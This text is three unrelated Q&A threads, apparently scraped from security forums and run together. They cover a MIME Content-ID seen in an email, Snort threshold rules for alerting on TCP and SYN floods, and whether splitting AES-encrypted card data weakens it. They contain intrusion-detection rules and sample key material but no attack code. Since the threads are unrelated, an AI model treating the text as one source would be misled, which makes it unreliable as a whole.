[cid:{a long hexadecimal number}@openvpn]

How come this is in the email? Should I be concerned about privacy?

How come this is in the email?

OpenVPN does not care about application layer, which means that it did not introduce such content to the email. This means that this content is either introduced by the sender or by the mail server.

While you offer only a few information about the mail itself let me just guess:

there is a hostname openvpn.
there is some attachment (image or whatever) in the mail.
this attachment/image is included in the mail like this (raw mail/MIME):

--some-boundary
Content-type: image/png (or something else)
Content-ID: {a long hexadecimal number}@openvpn
Content-Transfer-Encoding: base64
...

And then this Content-Id is referenced somewhere in the mail with something like

 <img src="cid:{a long hexadecimal number}@openvpn" ..>

If this is the case then you simply deal with normal HTML mails with inline images or similar, see RFC 2392. And the long hexidecimal number is just a unique id for this attachment.

  Should I be concerned about privacy?

Probably not about this. But if you look at the source code of the email and especially at the Received-Headers you might find other privacy relevant information to worry about.


Snort detection_filter not alerting I am trying to implement a simple flooding attack alert by using this rule:

alert tcp any any <> any any (msg:"Flooding attack!";detection_filter:track by_dst, count 4, seconds 1; sid:1000036)

Even if I have traffic 10 Pkts/sec (calculated by Snort) all going to the same destination and it does not alarm.

/var/snort/log/alert is empty.

Packet traces on the snort box shows that all packets are being seen.

Snort version 2.9.9.0

What am I doing wrong?

In my case, I use this working alert rule for SYN Floods.

alert tcp any any -> 192.168.1.3 any (msg:"TCP SYN Flooding attack detected"; flags:S; threshold: type threshold, track by_dst, count 10 , seconds 30; sid: 5000001; rev:1;)

Where:

The "threshold" keyword means that this rule logs every event on this SID during a 30 second interval. So, if less than 10 events occur in 30 seconds, nothing gets logged. Once an event is logged, a new time period starts.
The "track" by_dst keyword means track by destination IP.
The "count" keyword means count number of events.
The "seconds" keyword means time period over which count is accrued.
The "sid" keyword is used to uniquely identify Snort rules. This information allows output plugins to identify rules easily. This option should be used with the "rev" keyword.

sid < 100 Reserved for future use
100 < sid < 999,999 Rules included with the Snort distribution
sid > 1,000,000 Used for local rules

There are further information here and here.


Does the entire AES encrypted dataset have to be present to be 'cracked'? I am implementing an AES 256 algorithm on credit cards and I am wondering if I would be strengthening or weakening the encrypted dataset if I split the dataset and persisted it in two locations. I don't understand AES algorithm enough to know if 'all bits must be present for cracking' or if a subset of the encrypted data actually makes it easier to crack.

Here is the scenario:

Text to encrypt: 4798531212123535

Algorithm: AES256

Key: b0882e32f1194793800f4f0b43ddec6b273d31aafc474c4c8a3d5ae35b3e104b

Encrypted data: GoCN4o35w4vzU4hQp47CLUgsTgaxRvvT7qdTVh5Hl+I=

Q1: If I were to split the dataset into 2 parts and store them in 2 repositories in 2 parts of the country...If one of the parts were compromised, did I weaken the security by splitting?

Q2: A following question would be: if the partial dataset & the key were compromised, can the key be used to decrypt part of the dataset or does the entire dataset have to be present to win?

Part 1: GoCN4o35w4vzU4hQp47CLUgs

Part 2: TgaxRvvT7qdTVh5Hl+I=

------------ Added for clarity --------------

If Part 1 and the Key were compromised, would the result of decryption result in anything of value? Would the result be a correct sequence of characters?

Compromised values:

Part 1: GoCN4o35w4vzU4hQp47CLUgs

Key: b0882e32f1194793800f4f0b43ddec6b273d31aafc474c4c8a3d5ae35b3e104b

Would the decrypted value be something like: 47985312 (which is a sequence of the original)

You are doing it wrong. Not in the splitting or whatever; but in the thinking. AES encryption, if done properly, won't be "cracked". AES is the most robust piece in your system; this is the last part of it that you should be worrying about.

What AES encryption provides is a very specific functionality: using a given key K, it transforms a piece of data (the "plaintext") into something that is unreadable (the "ciphertext") except to those who know K, because knowing K allows for reversing the transformation. As long as K remains unknown to attackers, the encrypted data is safe. If K is known to attackers, then they have won, and no amount of splitting, or swapping, or dancing around a fire while chanting the glory of the Great Spirit, will save you.

AES uses keys of 128, 192 or 256 bits. There are so many possible keys that probability of an attacker compromising the key through pure luck is infinitesimal. 128-bit keys are sufficient for that; larger keys are not meant to increase security but to assert your status of alpha male among your fellow developers.

If you really need to engage into elaborate data-shuffling rituals so that, for instance, your boss gets the impression that "security is happening" and you are not slacking away, then you may as well do it properly. Don't split; instead, given a sequence of bytes C (the encrypted string), generate a sequence of random bytes D of the same length; then "split" C into two shares C1 = C XOR D, and C2 = D. To assemble the shares, just XOR them together: it so happens that C1 XOR C2 = C. That kind of splitting is demonstrably secure (an attacker who learns C1 or C2, but not both, learns exactly nothing, in an information-theoretic sense, which is about as good as any crypto can get). Provided, of course, that you don't botch things (you MUST generate a strongly random D, and generate a new one each time you have some string to "split").